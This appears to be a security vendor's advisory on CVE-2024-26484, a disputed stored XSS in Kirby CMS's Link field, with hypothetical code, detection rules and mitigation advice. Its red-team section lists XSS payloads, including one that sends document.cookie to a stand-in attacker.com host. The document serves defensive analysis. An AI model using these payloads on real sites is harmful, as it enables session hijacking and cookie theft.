CVE-2024-26484
Executive Summary
CVE-2024-26484 describes a stored cross-site scripting (XSS) vulnerability in the Edit Content Layout module of Kirby CMS, specifically affecting the Link field. The vulnerability was reported against Kirby CMS v4.1.0, but the vendor disputes this, stating that no version of Kirby CMS is affected. According to the vendor, the only impact was on the trykirby.com demo site, which is not customer-controlled. This report analyzes the technical details, provides detection rules, and outlines mitigation strategies, assuming the vulnerability could be present in self-hosted instances if the demo site code is reused.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). Kirby CMS is a flat-file CMS distributed via its own website and GitHub. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
The CVSS score is estimated as 0.0 in the NVD data, but based on the description, a stored XSS would typically score around 6.1 (Medium) under CVSS v3.1.
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a user account with edit permissions.
- User Interaction (UI): Required (R) – A victim must view the malicious content.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The attack requires authenticated access and user interaction, but stored XSS can lead to session hijacking, phishing, or defacement.
Deep Dive & Mechanics
The vulnerability resides in the "Edit Content Layout" module of Kirby CMS v4.1.0. The Link field, which allows users to input URLs, does not properly sanitize or encode user-supplied input before rendering it in the page. An attacker with edit permissions can inject malicious JavaScript or HTML into the Link field. When an administrator or other user views the edited content, the injected script executes in their browser context.
The core issue is a lack of output encoding for the Link field value. Kirby CMS uses a custom template engine that may not automatically escape attributes in all contexts. The injected payload could be something like:
javascript:alert(document.cookie)
or
" onmouseover="alert(1)
If the Link field is rendered as an <a> tag's href attribute without proper encoding, the javascript: protocol or event handlers can execute.
The vendor's position that this only affects the demo site suggests that the demo site may have had custom code or a misconfiguration that exposed this vulnerability, while the official Kirby CMS release does not include the vulnerable code path. However, users who replicated the demo site's configuration could be at risk.
Vulnerable vs. Patched Code
Since no patch is available and the vendor denies the vulnerability in the product, there is no official patched code. The following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (Kirby CMS v4.1.0 - hypothetical):
// In a template or helper function
echo '<a href="' . $linkField->value() . '">Link</a>';
This directly outputs the user input without encoding.
Patched Code (Hypothetical):
// Using Kirby's built-in escape function
echo '<a href="' . esc($linkField->value(), 'attr') . '">Link</a>';
The esc() function with the 'attr' context would encode characters like ", ', <, >, and &, preventing XSS.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Kirby CMS v4.1.0 instance (or the trykirby.com demo site).
- A user account with "editor" or "admin" privileges.
Exploitation Steps:
- Log in to the Kirby CMS panel.
- Navigate to a page with an editable Link field (e.g., in the "Edit Content Layout" module).
- Inject a malicious payload into the Link field. Example payloads:
javascript:alert('XSS')" onfocus="alert(1)" autofocus="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
- Save the page.
- Send the link to the victim (e.g., an admin) or wait for them to view the page.
- When the victim views the page, the script executes.
Example Payload:
" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)
Blue Team
Detection:
- Monitor for unusual characters in Link fields, especially
javascript:,on*event handlers, or base64-encoded data. - Review server logs for requests to the edit endpoint with suspicious payloads.
- Use the detection rules below.
Mitigation:
- Restrict edit permissions to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in Link fields.
- Regularly update Kirby CMS to the latest version.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from the CMS server.
- Requests containing
javascript:oron*=in the Link field parameter.
- File IOCs:
- Modified content files (e.g., in
content/directory) containing<script>tags or event handlers.
- Modified content files (e.g., in
- Log IOCs:
- Access logs showing POST requests to
/panel/pages/*/updatewith suspicious payloads. - Error logs showing JavaScript execution attempts.
- Access logs showing POST requests to
Detection Engineering
YARA Rule
rule CVE_2024_26484_Kirby_XSS_LinkField {
meta:
description = "Detects stored XSS payloads in Kirby CMS Link fields"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-26484"
strings:
$xss1 = /href\s*=\s*["']\s*javascript:/i
$xss2 = /on\w+\s*=\s*["']/i
$xss3 = /<script\b[^>]*>/i
$xss4 = /data:text\/html/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Kirby CMS Link Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-26484 by injecting XSS payloads into the Link field.
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/panel/pages/'
cs-uri-query|contains: 'link='
cs-uri-query|re: '(javascript:|on\w+=|<script|data:text/html)'
condition: selection
falsepositives:
- Legitimate use of javascript: links (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-26484 Kirby CMS Stored XSS in Link Field"; flow:to_server,established; content:"POST"; http_method; content:"/panel/pages/"; http_uri; content:"link="; http_client_body; pcre:"/(javascript:|on\w+=|<script|data:text\/html)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Vendor Statement: The vendor states that no version of Kirby CMS is affected. If you are using the official release, no action is required.
- Demo Site Users: If you are running a copy of the trykirby.com demo site, remove or update the Edit Content Layout module to properly escape Link field output.
- General Best Practices:
- Always escape user input in HTML attributes using context-aware encoding.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Restrict edit permissions to trusted users.
- Regularly update Kirby CMS to the latest version.
- Workaround: If you cannot patch, disable the Edit Content Layout module or add server-side validation to reject suspicious Link field values.
Valters IT
Securing Digital Frontiers